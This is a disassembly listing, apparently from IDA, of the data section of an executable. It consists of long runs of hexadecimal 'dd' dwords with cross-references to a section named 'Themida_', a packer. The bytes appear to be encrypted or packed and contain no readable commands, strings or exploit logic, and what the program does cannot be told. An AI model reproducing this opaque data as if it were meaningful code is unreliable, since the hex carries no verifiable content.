		dd 60774E96h, 0D63C8152h, 2F4D5D8Ch, 23CB39C8h,	128AD5DBh
		dd 305857E5h, 0E2A2798Fh, 0E3E53F4Fh, 7C80C3Bh,	4F01C87Bh
		dd 98465F78h, 0FA299489h, 96DE82F0h, 0BE76DD90h, 0B7638B07h
		dd 49913DABh, 0D3F77643h, 0D820480Dh, 0C6F5C80Bh, 23E3F3C0h
		dd 1E7008B3h, 48269541h, 88BB4C9Fh, 0CC2C3A24h,	6A000008h
		dd 1EFB4D72h, 0D9B608B5h, 9370C2F9h, 48257742h,	0A3DC2E8Fh
		dd 813C9B15h, 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h
		dd 580D53D6h, 1788EFEAh, 1308D4Ah, 93DBE0F6h, 0A0B69BCh
		dd 71A0E700h, 0E18DFB07h, 6B1C9399h, 2A5257E6h,	884D1AE2h
		dd 0E1F70231h, 29AF8CDEh, 0BEA4EA96h, 12580669h, 58059A30h
		dd 509848B6h, 0C16D5083h, 2E343A69h, 5DF99F43h,	757D2951h
		dd 0DAC4739Eh, 0BC14C0FDh, 0EAB30665h, 1A59FEE4h, 52EA125Eh
		dd 0FDBE1823h, 97E9D21Fh, 0D1B0538h, 82Fh, 98EAD507h, 53A518BBh
		dd 0D5F5C76h, 0C214A530h, 79CBF2E5h, 9F387840h,	0E2EFCC1Eh
		dd 30A885D7h, 76603D8Fh, 5FE7F345h, 0D547359h, 258C8758h
		dd 0B1F9A513h, 0E50CC0ABh, 0FAA6CE57h, 85D7E6EDh, 0C4F5E0ADh
		dd 2CEBB56Dh, 2FAE8Fh, 33DFDEF5h, 0C70FBF27h, 66493C1h
		dd 0B7FF2758h, 27D3E8EAh, 0E136A0CFh, 0EAE9033Fh, 0A5B48BD3h
		dd 0E16F46C6h, 6E8494C3h, 5806268Ch, 0B2FAAA12h, 62592ACh
		dd 8ED6FE58h, 25DAC0C6h, 0C6EE5806h, 0E7AF8797h, 625FBE1h
		dd 9AE70F58h, 7BD37F3Ch, 2B92414Ch, 0A9AF777Fh,	580625C3h
		dd 0E3D8FAD7h, 1847DF37h, 626EAD4h, 0A0686F58h,	81D98536h
		dd 0A2303DE9h, 93F76D19h, 239A3DF7h, 0F2871F77h, 0D9FA3250h
		dd 1EB592E4h, 39D1EEEAh, 2715478Dh, 50F25806h, 0E4D9FA32h
		dd 0CA07D49Ch, 65EB43EFh, 5806287Fh, 2C3C6B93h,	5583E850h
		dd 0C28AD26Ah, 1AE63BEBh, 0CFFE8CE2h, 64AA88Bh,	0E28EB658h
		dd 260C12DAh, 3A58064Bh, 0AF47765Dh, 0AEE13C80h, 0ACCE2A24h
		dd 0C6935BEEh, 3F25AB10h, 53CC67B0h, 0D590FC2Bh, 29847825h
		dd 180h, 0F9A51340h, 0C50ABB1h,	573E57E5h, 95A5D6CCh, 4B932B5Ah
		dd 1163587Eh, 6369A234h, 58068E7Dh, 25D16991h, 4B589BDFh
		dd 96637BDFh, 76CE7A3Fh, 9F55F547h, 55328437h, 828E3A81h
		dd 3B186A1Ah, 0D71F9Ah,	21B2445Fh, 4198F09Ch, 2C5B5FCDh
		dd 0CE3BAC2h, 0C03DDDECh, 4D8994C3h, 77441C6Eh,	5BB35F5Ah
		dd 4AF6C30Eh, 1EB8C3F2h, 1CE9F19Dh, 92D605B6h, 0AFD5DCDEh
		dd 0E4183A9Eh, 2D1319F2h, 4151D7BCh, 522F8119h,	7F8B3784h
		dd 0EB20B217h, 0D7BBFFE5h, 53EB1351h, 876D73BBh, 9B51D7BCh
		dd 0F8A419BEh, 0D9B608A0h, 0F0CD0AFEh, 38A0AC58h, 0FFFE62C9h
		dd 9F37CA69h, 6F4C8A57h, 0FF26ACC3h, 11B6B307h,	3E444A79h
		dd 51D75544h, 19F64870h, 4552FEBDh, 2A7F2B92h, 0A432CA88h
		dd 557B6167h, 0B28F51D7h, 97EF9B20h, 381567FFh,	0B785E9Eh
		dd 91DB3749h, 31E3B03Ah, 0B74F60D1h, 0E797FF0Bh, 669B999Fh
		dd 0A7CF51D7h, 0A85E7855h, 48F48C2Dh, 76229D3Bh, 0A34F6E69h
		dd 0CE7A3F96h, 1594B69Ah, 45FF9BBFh, 15E22A91h,	0BECEFDBCh
		dd 1AC6F5E1h, 0AEF6A60Eh, 0D766B6A8h, 68BAE251h, 0C6724D8Bh
		dd 88D8E7BEh, 4289E6B9h, 3CA10913h, 0FED72495h,	0EDB23BBh
		dd 0C3C9F8C5h, 16A32EFBh, 9FE3126Ah, 51D74EA9h,	0A78D935Bh
		dd 0BB51D74Eh, 0B8E06493h, 9F079970h, 28D4E5ECh, 4DC79D0h
		dd 0E49DADDCh, 9542C412h, 0D7247C28h, 0BC14C0FBh, 88F6D224h
		dd 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E6D3FECBh, 0E89073B7h
		dd 769E57E5h, 989E662Eh, 5805E8B2h, 7A26993Fh, 5345C22h
		dd 8FE1DEFAh, 519926B2h, 0C26E4F84h, 19920B5h, 0EE5C68D2h
		dd 7DF4FA42h, 0B35DF9EAh, 6076438Bh, 0F2C70E5Bh, 55BFEE46h
		dd 191A2D0Fh, 78E0B75Eh, 60A149AEh, 58C6D0FFh, 439360A8h
		dd 3D434978h, 640DCC52h, 0CDE307DEh, 0FB58AF02h, 6A7048CCh
		dd 642E9F84h, 90D87098h, 4CD65B9h, 5DAAF01Ah, 0AA14437Ah
		dd 0A482399Dh, 32844C57h, 0CC9CAA94h, 6A000004h, 1EFB4D72h
		dd 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h
		dd 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 580D57D6h
		dd 1388EFEAh, 0E9B1F9A5h, 3C7D5421h, 0F1E7D0B6h, 8DBCE451h
		dd 0E51B8A49h, 6C184057h, 5FB4326h, 0AD7A5058h,	0C7F2DF2Bh
		dd 0ECAE002Fh, 7A43905Dh, 0DA86DF4Bh, 0D778F8D9h
		dd 8F000000h, 0F1E7C7D9h, 0C5ABB151h, 0D951F1E7h, 754019B1h
		dd 2C085A61h, 0C1C70FBFh, 51F1E7C3h, 7A3C9E75h,	4CF8C30Fh
		dd 0D0949DF4h, 7790767Ch, 7CA451F2h, 931B5E4h, 8086505Dh
		dd 65BD6952h, 19B885CDh, 6D9CF4A0h, 0BE14815Dh,	0F277D2B8h
		dd 71BEE651h, 55AD5960h, 8F9E75BDh, 46735E5Fh, 0E72D04EFh
		dd 0CC24D0EBh, 0F9FF0534h, 51F2DBFBh, 6B51572Fh, 0FD51F2DCh
		dd 0F2DC11F7h, 37FD2551h, 0DC73595Fh, 5F8751F2h, 76832FC7h
		dd 2D095B60h, 45745DC0h, 75468C99h, 41D971C9h, 452B31F9h
		dd 0C851F2DCh, 9C1AC379h, 2E561CB7h, 0F1F3F9FFh, 3D51F239h
		dd 0B24A7360h, 79DEC006h, 791B51F1h, 48B724D9h,	3B6B308Ah
		dd 0F941D994h, 0F23BF1F3h, 0C3153D51h, 0A3E5h, 0A5133C00h
		dd 0C0ABB1F9h, 0CE57E50Ch, 0E4EDFAA6h, 3DA783D5h, 49434991h
		dd 7558060Dh, 7A5BA14Dh, 8358060Dh, 0BBAA2161h,	43F8D9C8h
		dd 74h,	0FDA9135Ah, 0CCEDE8B5h,	0AB91979Dh, 0BF51F1E7h
		dd 1ECAEFE2h, 75822EC6h, 48155D5Ch, 0DEE42C8Dh,	51F1E7F8h
		dd 0A5B5E40Ch, 67AF5FC9h, 0F1E82F61h, 6BB3DB51h, 0E8B79DA3h
		dd 0A3CB51F1h, 8F3B8056h, 589E0837h, 51F12976h,	0C07111B3h
		dd 0AE23E3F3h, 6F075F0Bh, 323C6BC3h, 0CAD018C8h, 51F22898h
		dd 2DDCF5C2h, 0F2294127h, 952D5551h, 0CC05E266h, 4A0355EDh
		dd 4BF7C412h, 0D123983Eh, 8FD787F5h, 0E538F689h, 0BC15E257h
		dd 0EEC1153Eh, 0F8900D10h, 41C5F44Ch, 45276D19h, 505806D2h
		dd 0EE776C2Eh, 10F8D903h, 53h, 209B3B08h, 80666C74h, 945806DAh
		dd 0BEA5D46Ch, 0B1F9A513h, 9B09F1E4h, 7A3976DCh, 0ACB2E179h
		dd 0E56BE3A6h, 76622F57h, 6E961A49h, 6B9A7CC2h,	0B81F5806h
		dd 8B4C5905h, 0E26F8632h, 0DB5F034Dh, 1436D86Dh, 0EEACCE95h
		dd 0D9B970F5h, 0C38EF8h, 12A50000h, 3E4BF7C4h, 886E7499h
		dd 9C51F1E8h, 2330DC74h, 4F5C08B3h, 15EC3487h, 3454B79Dh
		dd 7585B4B2h, 0F25E9D5Fh, 0C7F4E251h, 7D3E9875h, 0F1F2C9D1h
		dd 0B91AF23Ah, 0DF4D5786h, 0C8605D7Ah, 9A25B380h, 474AA643h
		dd 6D9C3F04h, 0BBE6167h, 244C57E6h, 0D888F6D2h,	0C3078A90h
		dd 78555DFBh, 5BB35F60h, 29AE7BC3h, 72654294h, 0A1986D4Bh
		dd 7D673894h, 1EE6Fh, 2B944800h, 0E6D7FCD9h, 0A01BB794h
		dd 5564714Eh, 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h
		dd 0A17ED0EFh, 28348635h, 5AB49AA0h, 0CDC8580Dh, 43C51266h
		dd 647B2792h, 773AB769h, 0C41BB396h, 2A73C792h,	90E27AB4h
dword_5BFF5C	dd 469823B3h, 0F9A5138Dh, 2E8ABB1h, 8EB657E5h, 2BA9CE2h
					; DATA XREF: Themida_:0054B19Co
		dd 0A3C55806h, 0D679ECE7h, 0BB85F8D9h, 9C000000h, 32874A17h
		dd 99D72E86h, 37DB5818h, 0B5212C5Bh, 8A4D5A06h,	1D23EB33h
		dd 51F29037h, 8AF4234Bh, 0F2958244h, 0AC0FC751h, 62597D5Ah
		dd 0F6E1AEB6h, 208E98C7h, 75512870h, 0B96634E3h, 28D38807h
		dd 473AD9D1h, 690C1218h, 0F757E62Fh, 33A17DCFh,	193D438Bh
		dd 0A95DFBE3h, 5510BEC2h, 378F3B82h, 0DF7547E0h, 0E1794692h
		dd 0B20BCC99h, 69548360h, 9510848Bh, 97A58F38h,	107h, 0C012AD2Fh
		dd 7BCDF0E3h, 3587349Eh, 0EA3C7D58h, 0A1F3CA0Dh, 77605068h
		dd 0BA17F446h, 8D0ADFFh, 4E8865B7h, 870F1B6Dh
dword_5C0024	dd 0D5B9B81h, 4DB4AF58h, 0A6F8C512h, 66AE0DC9h,	4F7E3D99h
					; DATA XREF: ___:004327ECo
		dd 0C412863Fh, 7B434BF7h, 0F1E78F75h, 5B61C51h,	133B0159h
		dd 0BEFDD9E4h, 10C7946Ch, 0DEA105EEh, 0DC7434ECh
dword_5C005C	dd 8935A3ADh, 5D5E7441h, 242A59B1h, 0EA85921Eh,	81896057h
					; DATA XREF: ___:off_432940o
		dd 551860D3h, 0CDF579A8h, 0F9C21421h, 0AF0CCAA7h, 8145BD03h
		dd 0F2E64B44h, 0C11421CDh, 12364CF8h, 0A019BC70h, 0ACEE5208h
		dd 0B607D09Dh, 615A7C87h, 17A4320Fh, 4196636Bh,	93424D7Ch
		dd 0CF257A26h, 9D35CF02h, 82DA861Eh, 0B0410153h, 9DF5DCD9h
		dd 1C4BAAB5h, 0A4F6C511h, 2AED0FC7h, 0DAC0C6EDh, 0EE6B6669h
		dd 899A6FC6h, 0B8C6720Ah, 23h, 3C2228F0h, 506B663Fh, 1712F928h
		dd 0E863494Fh, 4F7751F1h, 8A61E720h, 2BACB041h,	0DE893B92h
		dd 1211F827h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh
		dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h,	33B86459h
		dd 151868h, 24248900h, 4BE56h, 74010000h, 515E0424h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 0F368243Ch,	8900002Bh, 5D68241Ch
		dd 8900006Eh, 31BB241Ch, 4309254Ch, 8105EBC1h, 0E14420E3h
		dd 7EBC12Dh, 0C381DBF7h, 61BEB09h, 545BDF89h, 81241C8Bh
		dd 4C4h, 81575100h, 47BB242Ch, 81590CD9h, 0D947BBC1h, 84B890Ch
		dd 241C8B59h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h
		dd 835F2434h, 44E904C4h, 8FFFF908h, 174D811Bh, 49B8BF3Eh
		dd 3061B75h, 0F3E0FFC5h, 8166D5E9h, 0F516F3B3h,	0B737B5E9h
		dd 3B21204Fh, 7A4652C5h, 0BC70BC70h, 9C7B80DBh,	2A353071h
		dd 0D64F01A7h, 2030EA1h, 0E8257BF9h, 0EF5E5C17h, 5E72561Eh
		dd 731094F8h, 0B443FCE0h, 0E8232006h, 12h, 83FCB650h, 44F0FDF4h
		dd 0F099AD4Ch, 19B938E0h, 0F56090AAh, 0A20318BEh, 0F596175h
		dd 38Ch, 0C18B6600h, 0D950C181h, 6E90000h, 96000000h, 5EB8BDC7h
		dd 98B1BBC6h, 0C38137A7h, 0C8589D71h, 66118BF5h, 817A67BEh
		dd 6A82AEF2h, 3EEA8145h, 0E90C95BDh, 0Bh, 0BA74FB3Bh, 0BE2D0DF6h
		dd 81FE0244h, 854370EAh, 0D9DF8119h, 896D0748h,	0F0C88111h
		dd 8172D8E4h, 2B9736E9h, 32C18107h, 0F072B97h, 382h, 0FEB70F00h
		dd 1EB81h, 850F0000h, 12h, 0E9C2BF0Fh, 2Ch, 99583B8Dh
		dd 0B437BFF5h, 11E90DBEh, 88000000h, 0F509CA2h,	0ACD17B7Ch
		dd 4BDDAC07h, 68618B02h, 0FFFF7CE9h, 0B2F0DBFFh, 739B10Dh
		dd 0FE8h, 0B57AEA00h, 0FB9CBBEAh, 0A35C5CE7h, 76C22E1h
		dd 1850Fh, 58F50000h, 0A3EDD3BFh, 22C08117h, 68000075h
		dd 1D16h, 6FC98166h, 0BA665E4Dh, 188B7C6Ah, 7E9h, 0A9F79400h
		dd 9C793D40h, 0EF12C381h, 0F3814178h, 2488200Fh, 0DE9h
		dd 3DCCA00h, 41529E27h,	27DB03Dh, 0C381C5BDh, 3503282Eh
		dd 0A9CBF781h, 66537F0Dh, 8FC88ABAh, 14E900h, 71970000h
		dd 527555DAh, 4EE7CD66h, 3C17CB31h, 6CFB93D8h, 0E883D10Eh
		dd 0AE904h, 1CE60000h, 0BEB1F805h, 0C7C806E0h, 0F01EE83h
		dd 1385h, 0FFC6000h, 0E961C6BFh, 1Fh, 621D7F0Ah, 0AB070137h
		dd 0E96BF280h, 0FFFFFF72h, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh
		dd 0E8F73E9Fh, 0Bh, 0AF032449h,	0E0A3CDEAh, 0F0358B5h
		dd 8B5ADBBFh, 92C281FBh, 66000064h, 0B99EFCBBh,	0
		dd 40D78166h, 1134FF3Fh, 0E858FB8Bh, 7,	79CACFE8h, 812EB203h
		dd 21A1CACBh, 0C0815E7Dh, 33F090CDh, 938EE81h, 0E88160ACh
		dd 6DB4A525h, 7E9h, 0DF7E0F00h,	0ADC1230Ah, 53DBE881h
		dd 0A9BB16CBh, 507A071Dh, 0F797BF66h, 0BB0A048Fh, 3F985608h
		dd 81DA8B66h, 0D134B7E9h, 0B70F602Fh, 0F28B66DEh, 0B3C18161h
		dd 572FD134h, 0EE9h, 26999B00h,	5BC075B3h, 0A8F78D59h
		dd 5EA71312h, 9C1CF981h, 850FFFFFh, 0FFFFFF79h,	4134C681h
		dd 0ECE91366h, 0
		dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch,	77F7E2h
		dd 77F7E3h, 277E600h, 5	dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 6000000h, 2C000000h,	22322E27h, 491611EFh, 88389B69h
		dd 41DB1566h, 38321566h, 152A04BEh, 0B883A8E5h,	31321372h
		dd 0C38F966Fh, 1134017Ch, 0DB620C12h, 558AD5EDh, 0AB321562h
		dd 5285CE3h, 0B2AF9860h, 0BB3403D1h, 0A16A4EB5h, 528F4DBh
		dd 9F461560h, 558A4636h, 0AB321562h, 5285CE3h, 0A1AF9860h
		dd 0BB3403D2h, 426A4EB5h, 9C3DCDEDh, 88321565h,	25F9FDE6h
		dd 39887306h, 9A54469Dh, 0D8534FBFh, 0C51611EDh, 223211A2h
		dd 9D3D7566h, 88321565h, 0ADF5AA69h, 22321574h,	44B7759Ah
		dd 51D1F870h, 0B44D9211h, 0EBFF1DB0h, 0ED530464h, 0F09AA8E5h
		dd 4B32137Dh, 22325EE2h, 0C8B97566h, 0E9C8A269h, 0E7690EBh
		dd 0A952137Dh, 88B739Eh, 58CD7480h, 4432078Fh, 0ED2FEF66h
		dd 7EE9AA4Fh, 0A56A4ADCh, 3C487A7Dh, 0AF987B2Ch, 0A7861E3h
		dd 58CDEC60h, 44321A8Fh, 49EAF66h, 1C387C4Eh, 86E2591Fh
		dd 7698A6CBh, 386B90A0h, 0E4641372h, 208A470Eh,	0F1CDEDFAh
		dd 24260FB7h, 0CAB7989Fh, 0E83402E6h, 44349269h, 0AF3D1566h
		dd 11321566h, 87534F36h, 443212E0h, 23B71A66h, 0E4321566h
		dd 8FDBC599h, 36321566h, 0A780EDD6h, 94BB6089h,	8E2631CFh
		dd 44339669h, 0E5CA1566h, 53640E3h, 88321560h, 45B71A66h
		dd 0DA321566h, 11321A8Fh, 2F1C4C66h, 4CF86916h,	0AD6B6857h
		dd 5951497Ah, 926B90A0h, 0B1771372h, 505B7C0Eh,	0BBB1AE8h
		dd 0E8321566h, 4432188Fh, 0A28BF466h, 4B57D672h, 8E98AAD4h
		dd 0CF3DA6D4h, 22321566h, 5487EA07h, 87340177h,	443213E6h
		dd 98547566h, 9C535A95h, 9C0906E3h, 0ADB37560h,	48FAD859h
		dd 11309569h, 0E9521566h, 0BCE2EA07h, 7B390EFh,	0D7CA1372h
		dd 9C284CE3h, 4ADB5660h, 0FB321566h, 6812641Bh,	736A28BFh
		dd 0C7202DD5h, 496C7D54h, 0E8CA8901h, 9977A099h, 0C03D1372h
		dd 2232157Fh, 1132018Fh, 22217266h, 4C447874h, 0CEA4B10Bh
		dd 378DCB83h, 85BA28EFh, 57B79819h, 2D34015Dh, 113214E7h
		dd 58CDE966h, 4437FC06h, 3C7A1566h, 0F9088B99h,	88321576h
		dd 0D13A1BE3h, 8099225h, 0D811877Dh, 50FD536Eh,	0C1BB743Ch
		dd 24296DF6h, 48B7D39Eh, 0DC34017Ch, 44321E8Fh,	0CA105066h
		dd 0A5D81169h, 9C09ECC5h, 265A3C0Eh, 2222FC88h,	0E01C1566h
		dd 1BB5BE9Bh, 666BF37Eh, 2E453D52h, 0A4CD0789h,	8E260423h
		dd 4420FD06h, 0DC601566h, 0A76F459Ch, 6D1D8E41h, 10157C59h
		dd 270FE125h, 52E29400h, 5534A47h, 500906E3h, 223DFC60h
		dd 0DB0B1566h, 0E0A22C5h, 68069360h, 0BA38072Fh, 0E8E2EA6Fh
		dd 0F0A690EFh, 0CD3D137Dh, 22321577h, 1132198Fh, 45D166h
		dd 0D3EB5681h, 48230F5Dh, 0F68A7586h, 0E936DEB2h, 5E6B90A0h
		dd 0DA771372h, 710AD70Eh, 35475BCh, 256845ADh, 3377A099h
		dd 77521372h, 553D4EDh,	500906E3h, 0F2CDE060h, 89B79C9Eh
		dd 0E8340E1Eh, 44321C8Fh, 63C85C66h, 8B59473h, 48B29D5Eh
		dd 0F9B17492h, 242607ABh, 56B71A66h, 87321567h,	443212E9h
		dd 23BE1A66h, 0E8321566h, 0DF47406h, 42260F3Fh,	2226FC23h
		dd 28C61566h, 0F33A510Ah, 1B0065BBh, 71E9C626h,	63A2C411h
		dd 85DB4420h, 8321566h,	424D6227h, 6C1E5D48h, 7EBC98C0h
		dd 644C930Eh, 2FDB759Ch, 5E321566h, 1F9F7F9Ah, 69814BC9h
		dd 0C3A10B72h, 0EE53C5D0h, 9C2350D3h, 5CB41A60h, 0CB321566h
		dd 11321575h, 0FBA72D1Ah, 17E23253h, 0BDF9AC7Ch, 0E97D91FEh
		dd 507505Dh, 500906E3h,	0AA3D7560h, 11321563h, 703CEDCh
		dd 87B97339h, 0CBE2EA07h, 1132156Dh, 0AA1A4C5Ah, 8B22B84Bh
		dd 0ABB0A0E4h, 0A4A89E3h, 0DF4E060h, 42260F3Fh,	0AC3D752Ah
		dd 11321570h, 8832058Eh, 4C33EB66h, 0B898DEE8h,	9C7C5EDFh
		dd 34F108C0h, 0C43D4AD1h, 22321566h, 0C1F17D07h, 80DBF540h
		dd 5C321566h, 2583C690h, 0EE55DAFDh, 9C2350D3h,	45BD1A60h
		dd 0DE321566h, 2A2190EBh, 74521372h, 544AB00h, 0CBE2EA07h
		dd 11321576h, 6517B22Fh, 7A448E56h, 9692E1EEh, 106C1887h
		dd 0F09290EFh, 0C83D137Dh, 2232157Eh, 1132068Fh, 0BB0E3566h
		dd 7B5FF0B3h, 84D0A8C7h, 0C4746B02h, 43F63E7Ch,	4433228Fh
		dd 0A7F4E066h, 17260F3Fh, 855AE034h, 0AD8E5F82h, 22321574h
		dd 4B91AAE7h, 0D563C966h, 6D7D0E2Bh, 103F9859h,	0A4CD977Ch
		dd 8E26249Bh, 9FB37306h, 0E8B2886Eh, 94BF7468h,	8E262E75h
		dd 44389569h, 42521566h, 0D4C49407h, 0E9198BCFh, 24E2EA9Eh
		dd 98F5AC00h, 9853F9ECh, 934A89E3h, 443AFC60h, 0C4B71566h
		dd 5FBC008Ah, 0DF4D83Ch, 42260F3Fh, 2BDB7534h, 69321566h
		dd 14550732h, 33E97281h, 52E89400h, 1DB74E0h, 3B321566h
		dd 8ACA994Eh, 0EACDED35h, 0CE11FDF0h, 0E0287EBFh, 0E27E5F2Eh
		dd 2232048Fh, 0A19E9966h, 682E4634h, 5F16B4D2h,	2654AEA2h
		dd 0A4CD8AB5h, 8E26249Bh, 44259269h, 30DB1566h,	57321566h
		dd 897EED4Ch, 3ADA3E28h, 0DD9E7C84h, 5B39F97Ah,	9BB798D9h
		dd 2434015Dh, 222B9B69h, 5DB1566h, 1321566h, 9A365642h
		dd 0A1B901EEh, 25CEF493h, 0AA101274h, 0AC8566C9h, 2232156Bh
		dd 3DAFBB88h, 245ED4E6h, 6EAB52F6h, 0DD534A27h,	10B71AB6h
		dd 70321566h, 3C9290EFh, 33DB137Dh, 96321566h, 95DA351Ch
		dd 6E46FE43h, 314A3C78h, 51438823h, 926B90A0h, 0BD601372h
		dd 6086FF0Eh, 0E9CA759Bh, 0CD87EA07h, 24340177h, 0DAB84E34h
		dd 2B79807h, 7034015Dh,	0CDCEC599h, 3611C0E3h, 0F0B37560h
		dd 9A5A297Bh, 0E4BFBDDEh, 0A7F47463h, 17260F3Fh, 2B5AEC11h
		dd 0B1C182CEh, 2B03A099h, 9CCA1372h, 9C0906E3h,	43DB7560h
		dd 0AD321566h, 2EDDFA79h, 0F28A7B55h, 25046215h, 0A53DC599h
		dd 11321576h, 883BFC06h, 0A2CA1566h, 0D94E9ADFh, 7010B6E1h
		dd 0BC6390EFh, 0C73D1372h, 22321567h, 48B7D393h, 0DA34017Ch
		dd 44339969h, 0DBC71566h, 0CC03020Eh, 8837FCECh, 69A61566h
		dd 0DD0D0039h, 52350D3h, 8822FC60h, 5FAE1566h, 5E7277BAh
		dd 6CC3BBDCh, 3639F5FFh, 0C1BFE0FCh, 24262E75h,	11321C8Fh
		dd 9EDF4E66h, 3A7F2BD3h, 0F2CDC3EBh, 0ACB79C9Eh, 6134016Fh
		dd 4432156Dh, 1F362DC3h, 37FC8073h, 87A79B8Ch, 443216E3h
		dd 43CE7566h, 0B6B90A0h, 61641372h, 44321568h, 72F79FDEh
		dd 0A9078F18h, 7912EC80h, 7D5A1C39h, 0DAE60A0Bh, 0BE3A099h
		dd 9521372h, 0FAF618AFh, 431DA438h, 91E990EBh, 0B3D1371h
		dd 4432156Ah, 22349069h, 983D1566h, 88321566h, 0C93DC599h
		dd 22321567h, 0DCB79C9Fh, 71340160h, 5E6B90A0h,	0CB751372h
		dd 1132156Ch, 0F481EA8Fh, 9B2521D9h, 585A740Bh,	0E8B3C976h
		dd 9977A099h, 0C03D1372h, 22321571h, 11239969h,	84DB1566h
		dd 43321566h, 7FF19907h, 0B7913E11h, 504E23Dh, 500906E3h
		dd 2EBC1A60h, 0F8321566h, 88321561h, 0F3C2935Ch, 0DD7EC32Ah
		dd 1120FCB6h, 7F161566h, 87215BDFh, 27212DFCh, 66CC0C53h
		dd 0A4B38D74h, 41B790EFh, 0E4C71372h, 5284CE3h,	86DB5260h
		dd 0BF321566h, 98263CE4h, 9D95BFF0h, 0C0F016AFh, 443DFC36h
		dd 51631566h, 0EC9E32D7h, 0DE64921Eh, 25673BF1h, 97D07D74h
		dd 9B529F69h, 6AB373AAh, 0BB5384FFh, 362350D3h,	0FEB37560h
		dd 9A875954h, 0A97740DDh, 0A7BF7432h, 17262E75h, 88321A8Fh
		dd 0A3A21966h, 0BB84E2BDh, 0FF80D6CDh, 0ACAC3436h, 0F152C599h
		dd 27B41AE3h, 0A8321566h
		dd 880212D2h, 84B79C07h, 0CB340E1Eh, 11321560h,	4B2695DFh
		dd 83CE4F03h, 36311CE3h, 11326D60h, 35B1E066h, 42263EF3h
		dd 5DB61A66h, 7132157Fh, 0BCED9400h, 838D1A90h,	7BB7D307h
		dd 5D34017Ch, 94DB7D9Ah, 0BBC7CCBCh, 362350D3h,	113AFC60h
		dd 9A011566h, 95AB791Ah, 0A7BF2944h, 17262E75h,	883F9169h
		dd 4CDB1566h, 86321566h, 8FCE567Ah, 77AB847Fh, 43BD1AB6h
		dd 42321566h, 47E3AA69h, 0DBB7438h, 42296DCAh, 223A9E69h
		dd 77521566h, 0D84096D8h, 82CA743Ch, 36284CE3h,	2DB5960h
		dd 0F0321566h, 521C1338h, 0AF9D09D6h, 0E1DA081Bh, 3257F67Fh
		dd 8A5AD5FBh, 0DAEF61B8h, 77A099h, 73D1372h, 44321572h
		dd 22321A8Fh, 0A6CC4C66h, 0D249BA9Ch, 0E2D910Eh, 95ACE77Dh
		dd 2A2190EBh, 0EE521372h, 0E08ECCE7h, 0B245CEE7h, 0EE53393Bh
		dd 8823FCB6h, 0E18B1566h, 65110557h, 0CF370794h, 78E64939h
		dd 0CDA3F1B3h, 394AA5E3h, 19BC1A60h, 87321566h,	443217ECh
		dd 0E4537566h, 5284CE3h, 33D5960h, 4432157Bh, 2220FC06h
		dd 0E1CE1566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h
		dd 8BB0AD00h, 0C60D7D07h, 0AB3DA2E7h, 1132156Eh, 88309F69h
		dd 25521566h, 3377A099h, 1EDB1372h, 0A4321566h,	0EC8FA281h
		dd 61C8F6DEh, 7F2FC664h, 0DBF45DDh, 42262E75h, 22339569h
		dd 0EECE1566h, 86B91AB6h, 0AD321566h, 2232156Fh, 0B565DE97h
		dd 5D3C5D56h, 0F0B79CF4h, 0DB340E1Eh, 0B6B90A0h, 707E1372h
		dd 6B720D0Eh, 2223FCD5h, 0F4461566h, 0A514BEB0h, 2CA6B84Fh
		dd 0DD261928h, 71FB8C92h, 49CD4FDFh, 86B97308h,	6787EA07h
		dd 0F8340177h, 88321574h, 0AA0ADA40h, 4B7D4EF8h, 5AFE65B1h
		dd 0E4057235h, 0C1BF0DACh, 24262E75h, 17BF1A06h, 87321566h
		dd 443215EDh, 6593AE66h, 0EE532D4Ch, 8FB31AB6h,	4B321566h
		dd 223214E0h, 16DBEC66h, 56321566h, 5691E2D8h, 0A7BB5FEAh
		dd 17296DD2h, 88321E8Fh, 8B1E6766h, 98FB8008h, 0B2EF410Fh
		dd 926B90A0h, 4B741372h, 22320EEBh, 0E9B97566h,	8832078Fh
		dd 1FC89E66h, 0FF7A60CDh, 1398B669h, 0C5927612h, 25BF6426h
		dd 0FC34010Eh, 0AB61ADCh, 0E8321566h, 56DB4C30h, 0C7321566h
		dd 68D15873h, 8A7EF6ACh, 402DABD0h, 0AF341A1Ch,	0A4CD7408h
		dd 8E260423h, 8BB37306h, 0A3548CAAh, 7024928Ch,	88321F8Fh
		dd 61D7766h, 53EE3588h,	9C2EE277h, 9C0906E3h, 0CE3D7560h
		dd 2232157Fh, 1132018Fh, 77D07966h, 0CB9F47D4h,	90CEA246h
		dd 0A5A3AFC7h, 0C41C8986h, 87B373F9h, 0DD537FB2h, 1126FCB6h
		dd 2A5E1566h, 2C18033Eh, 0E150A412h, 983A273Dh,	2343A3F9h
		dd 0C1BB0F3Dh, 24296DDAh, 5A887306h, 0DF47411h,	42260F3Fh
		dd 585AED21h, 0E9B3C976h, 9977A099h, 0CD3D1372h, 22321574h
		dd 1132188Fh, 1480EC66h, 4039E326h, 6BAF1880h, 94BFAB07h
		dd 8E262E75h, 4432048Fh, 0D71D7E66h, 5526D693h,	0BA68F096h
		dd 0C713FA17h, 0A83DB5EDh, 11321573h, 8832058Fh, 9FA0D666h
		dd 933FA796h, 0A1E1125Fh, 0E71BCAD5h, 0ADE2EAFEh, 2232156Dh
		dd 0CDD2E12Eh, 0BBC61C57h, 0CDCF9D6Bh, 394AD1E3h, 10B31A60h
		dd 71321566h, 5E6B90A0h, 2D751372h, 11320FE4h, 9CB11A66h
		dd 0AD321566h, 22321569h, 77B8D2Ch, 354D0Fh, 106BF5F1h
		dd 4ABA066Bh, 0FEB59BCAh, 88339169h, 0BBC71566h, 362350D3h
		dd 7BD1A60h, 61321566h,	44321577h, 0F84DC44Ah, 0EE37E8F5h
		dd 0F7CC44D9h, 0E6F2F387h, 31B798C2h, 0F834015Dh, 88321574h
		dd 7702A02Eh, 7E7695EFh, 97C53EEDh, 40E3CA8Dh, 94CD88CEh
